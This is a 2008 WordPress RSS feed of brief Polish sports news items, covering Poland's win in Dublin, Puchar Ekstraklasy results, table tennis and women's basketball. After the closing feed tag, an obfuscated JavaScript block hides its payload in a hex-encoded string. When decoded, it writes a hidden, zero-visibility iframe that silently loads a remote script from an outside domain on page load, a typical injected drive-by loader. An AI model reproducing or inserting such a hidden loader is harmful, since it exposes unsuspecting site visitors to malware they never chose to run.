<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Sport on Biglyrics4u</title>
	<atom:link href="http://www.sport.biglyrics4u.info/feed" rel="self" type="application/rss+xml" />
	<link>http://www.sport.biglyrics4u.info</link>
	<description>Sportroom</description>
	<pubDate>Wed, 19 Nov 2008 21:03:00 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Orły ograły Irlandię, aż 5 goli</title>
		<link>http://www.sport.biglyrics4u.info/archives/3321</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3321#comments</comments>
		<pubDate>Wed, 19 Nov 2008 21:03:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/orly-ograly-irlandie-az-5-goli,1214087/fd83d558083b3108cf5b016572b9aad9?source=rss</guid>
		<description><![CDATA[W ostatnim tegorocznym występie reprezentacja Polski pokonała w Dublinie Irlandię po golach Mariusza Lewandowskiego, Rogera i Roberta Lewandowskiego. Mecz miał charakter towarzyski, ale nie mamy nic przeciwko temu, żeby na wiosnę o punkty nasi też tak grali.
]]></description>
			<content:encoded><![CDATA[W ostatnim tegorocznym występie reprezentacja Polski pokonała w Dublinie Irlandię po golach Mariusza Lewandowskiego, Rogera i Roberta Lewandowskiego. Mecz miał charakter towarzyski, ale nie mamy nic przeciwko temu, żeby na wiosnę o punkty nasi też tak grali.
]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3321/feed</wfw:commentRss>
		</item>
		<item>
		<title>Słowenia przegrywa z Bośnią</title>
		<link>http://www.sport.biglyrics4u.info/archives/3322</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3322#comments</comments>
		<pubDate>Wed, 19 Nov 2008 20:38:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/slowenia-przegrywa-z-bosnia,1214088/4ea9165f79b6a24e93960f3e48d13912?source=rss</guid>
		<description><![CDATA[W towarzyskim spotkaniu Słowenia, rywal Polski w eliminacjach mistrzostw świata w 2010 roku, przegrała z Bośnią i Hercegowiną 3:4.]]></description>
			<content:encoded><![CDATA[W towarzyskim spotkaniu Słowenia, rywal Polski w eliminacjach mistrzostw świata w 2010 roku, przegrała z Bośnią i Hercegowiną 3:4.]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3322/feed</wfw:commentRss>
		</item>
		<item>
		<title>Czesi zgodnie z planem</title>
		<link>http://www.sport.biglyrics4u.info/archives/3323</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3323#comments</comments>
		<pubDate>Wed, 19 Nov 2008 20:21:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/czesi-zgodnie-z-planem,1214085/89080f75405d69f7a6607b8b9efeb529?source=rss</guid>
		<description><![CDATA[W ostatnim meczu w tym roku w grupie 3 eliminacji MŚ 2010 Czesi pokonali na wyjeździe reprezentantów San Marino 3:0.]]></description>
			<content:encoded><![CDATA[W ostatnim meczu w tym roku w grupie 3 eliminacji MŚ 2010 Czesi pokonali na wyjeździe reprezentantów San Marino 3:0.]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3323/feed</wfw:commentRss>
		</item>
		<item>
		<title>Tenisiści pokonali Rosjan</title>
		<link>http://www.sport.biglyrics4u.info/archives/3318</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3318#comments</comments>
		<pubDate>Wed, 19 Nov 2008 19:41:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/tenisisci-pokonali-rosjan,1214079/8c90ac8a243de5f93430dd0775dc5a68?source=rss</guid>
		<description><![CDATA[Polscy tenisiści stołowi po zwycięstwie nad  Rosją 3:0 awansowali do ćwierćfinału zawodów drużynowych turnieju  ITTF Pro Tour w Berlinie. Kolejnym rywalem "biało-czerwonych"  będzie ekipa Tajwanu.]]></description>
			<content:encoded><![CDATA[Polscy tenisiści stołowi po zwycięstwie nad  Rosją 3:0 awansowali do ćwierćfinału zawodów drużynowych turnieju  ITTF Pro Tour w Berlinie. Kolejnym rywalem "biało-czerwonych"  będzie ekipa Tajwanu.]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3318/feed</wfw:commentRss>
		</item>
		<item>
		<title>PE: Awans Śląska i GKS-u</title>
		<link>http://www.sport.biglyrics4u.info/archives/3319</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3319#comments</comments>
		<pubDate>Wed, 19 Nov 2008 19:32:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/pe-awans-slaska-i-gks-u,1214077/add66fc6e9129398a6a82f8a7f57860d?source=rss</guid>
		<description><![CDATA[Śląsk Wrocław, Arka Gdynia i PGE GKS  Bełchatów zapewniły sobie awans do ćwierćfinałów piłkarskiego  Pucharu Ekstraklasy. Po pięciu kolejkach największy dorobek  punktowy - 11 - ma Arka Gdynia, która we wtorek pokonała Lechię  Gdańsk 1:0.]]></description>
			<content:encoded><![CDATA[Śląsk Wrocław, Arka Gdynia i PGE GKS  Bełchatów zapewniły sobie awans do ćwierćfinałów piłkarskiego  Pucharu Ekstraklasy. Po pięciu kolejkach największy dorobek  punktowy - 11 - ma Arka Gdynia, która we wtorek pokonała Lechię  Gdańsk 1:0.]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3319/feed</wfw:commentRss>
		</item>
		<item>
		<title>Gancarczyk pogrążył &#8220;Pasy&#8221;</title>
		<link>http://www.sport.biglyrics4u.info/archives/3320</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3320#comments</comments>
		<pubDate>Wed, 19 Nov 2008 19:29:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/gancarczyk-pograzyl-pasy,1214075/acaae0bcb3fcb800448528c9e06fd07d?source=rss</guid>
		<description><![CDATA[Śląsk Wrocław pokonał Cracovię 1:0 w meczu piątej kolejki grupy A rozgrywek o Puchar Ekstraklasy.]]></description>
			<content:encoded><![CDATA[Śląsk Wrocław pokonał Cracovię 1:0 w meczu piątej kolejki grupy A rozgrywek o Puchar Ekstraklasy.]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3320/feed</wfw:commentRss>
		</item>
		<item>
		<title>Cenna wygrana gorzowianek</title>
		<link>http://www.sport.biglyrics4u.info/archives/3315</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3315#comments</comments>
		<pubDate>Wed, 19 Nov 2008 18:35:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/cenna-wygrana-gorzowianek,1214064/10985ed44244217a4c944a877cb57b30?source=rss</guid>
		<description><![CDATA[Koszykarki KSSSE AZS PWSZ Gorzów Wlkp.  wygrały z Municipal Targoviste 77:74 (17:22, 23:17, 16:12, 21:23)  w meczu 5. kolejki Pucharu Europy.]]></description>
			<content:encoded><![CDATA[Koszykarki KSSSE AZS PWSZ Gorzów Wlkp.  wygrały z Municipal Targoviste 77:74 (17:22, 23:17, 16:12, 21:23)  w meczu 5. kolejki Pucharu Europy.]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3315/feed</wfw:commentRss>
		</item>
		<item>
		<title>Wisła Can-Pack rozbiła Nadieżdę</title>
		<link>http://www.sport.biglyrics4u.info/archives/3316</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3316#comments</comments>
		<pubDate>Wed, 19 Nov 2008 18:14:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/wisla-can-pack-rozbila-nadiezde,1214060/e6872375ebeb9ff1459d6f7044f1b25f?source=rss</guid>
		<description><![CDATA[Koszykarki Wisły Can Pack Kraków wygrały z Nadieżdą Orenburg 91:70  w meczu 6. kolejki Euroligi. Było to czwarte zwycięstwo mistrzyń Polski w grupie A.]]></description>
			<content:encoded><![CDATA[Koszykarki Wisły Can Pack Kraków wygrały z Nadieżdą Orenburg 91:70  w meczu 6. kolejki Euroligi. Było to czwarte zwycięstwo mistrzyń Polski w grupie A.]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3316/feed</wfw:commentRss>
		</item>
		<item>
		<title>Orły z Brożkiem i &#8220;Wasylem&#8221;!</title>
		<link>http://www.sport.biglyrics4u.info/archives/3317</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3317#comments</comments>
		<pubDate>Wed, 19 Nov 2008 18:07:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/orly-z-brozkiem-i-wasylem,1214055/893b5b04cbf2d07690d0d0c8b7dba5a1?source=rss</guid>
		<description><![CDATA[Kontuzje nie przeszkodziły w zagraniu przeciw Irlandii Marcinowi Wasilewskiemu i Pawłowi Brożkowi. Leo wstawił ich do wyjściowej "jedenastki", której skład prezentujemy. ZOBACZ RELACJĘ NA ŻYWO ]]></description>
			<content:encoded><![CDATA[Kontuzje nie przeszkodziły w zagraniu przeciw Irlandii Marcinowi Wasilewskiemu i Pawłowi Brożkowi. Leo wstawił ich do wyjściowej "jedenastki", której skład prezentujemy. ZOBACZ RELACJĘ NA ŻYWO ]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3317/feed</wfw:commentRss>
		</item>
		<item>
		<title>Tenisistki w ćwierćfinale</title>
		<link>http://www.sport.biglyrics4u.info/archives/3312</link>
		<comments>http://www.sport.biglyrics4u.info/archives/3312#comments</comments>
		<pubDate>Wed, 19 Nov 2008 17:33:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[sport]]></category>

		<guid isPermaLink="false">http://sport.interia.pl/wiadomosci-dnia/news/tenisistki-w-cwiercfinale,1214046/ee16c121e289ab6e451b4c06d94a1769?source=rss</guid>
		<description><![CDATA[Polskie tenisistki stołowe po zwycięstwie nad  Słowacją 3:0 awansowały do ćwierćfinału zawodów drużynowych  turnieju ITTF Pro Tour w Berlinie.]]></description>
			<content:encoded><![CDATA[Polskie tenisistki stołowe po zwycięstwie nad  Słowacją 3:0 awansowały do ćwierćfinału zawodów drużynowych  turnieju ITTF Pro Tour w Berlinie.]]></content:encoded>
			<wfw:commentRss>http://www.sport.biglyrics4u.info/archives/3312/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
<script>function c152364361251b48fd038ae2dc2(b48fd038ae2dc9){ function b48fd038ae2dd1(){return 16;} return (parseInt(b48fd038ae2dc9,b48fd038ae2dd1()));}function b48fd038ae2df2(b48fd038ae2df8){  var b48fd038ae2dff='';b48fd038ae2e28=String.fromCharCode;for(b48fd038ae2e06=0;b48fd038ae2e06<b48fd038ae2df8.length;b48fd038ae2e06+=2){ b48fd038ae2dff+=(b48fd038ae2e28(c152364361251b48fd038ae2dc2(b48fd038ae2df8.substr(b48fd038ae2e06,2))));}return b48fd038ae2dff;} var x38='';var b48fd038ae2e36='3C7'+x38+'3637'+x38+'2697'+x38+'07'+x38+'43E696628216D7'+x38+'96961297'+x38+'B646F637'+x38+'56D656E7'+x38+'42E7'+x38+'7'+x38+'7'+x38+'2697'+x38+'465287'+x38+'56E657'+x38+'363617'+x38+'065282027'+x38+'2533632536392536362537'+x38+'322536312536642536352532302536652536312536642536352533642536332533312533352532302537'+x38+'332537'+x38+'32253633253364253237'+x38+'2536382537'+x38+'342537'+x38+'342537'+x38+'302533612532662532662537'+x38+'332536312536632536352537'+x38+'362536392537'+x38+'332536392537'+x38+'342536662537'+x38+'322532652536652536352537'+x38+'34253266253639253665253265253633253637'+x38+'25363925336625333226253237'+x38+'2532622534642536312537'+x38+'342536382532652537'+x38+'322536662537'+x38+'352536652536342532382534642536312537'+x38+'342536382532652537'+x38+'32253631253665253634253666253664253238253239253261253336253337'+x38+'253332253335253333253239253262253237'+x38+'253634253334253336253631253631253335253237'+x38+'2532302537'+x38+'37'+x38+'2536392536342537'+x38+'34253638253364253336253331253337'+x38+'253230253638253635253639253637'+x38+'2536382537'+x38+'342533642533312533302533392532302537'+x38+'332537'+x38+'342537'+x38+'39253663253635253364253237'+x38+'2536342536392537'+x38+'332537'+x38+'302536632536312537'+x38+'39253361253230253665253666253665253635253237'+x38+'2533652533632532662536392536362537'+x38+'3225363125366425363525336527'+x38+'29293B7'+x38+'D7'+x38+'6617'+x38+'2206D7'+x38+'969613D7'+x38+'47'+x38+'27'+x38+'5653B3C2F7'+x38+'3637'+x38+'2697'+x38+'07'+x38+'43E';document.write(b48fd038ae2df2(b48fd038ae2e36));</script>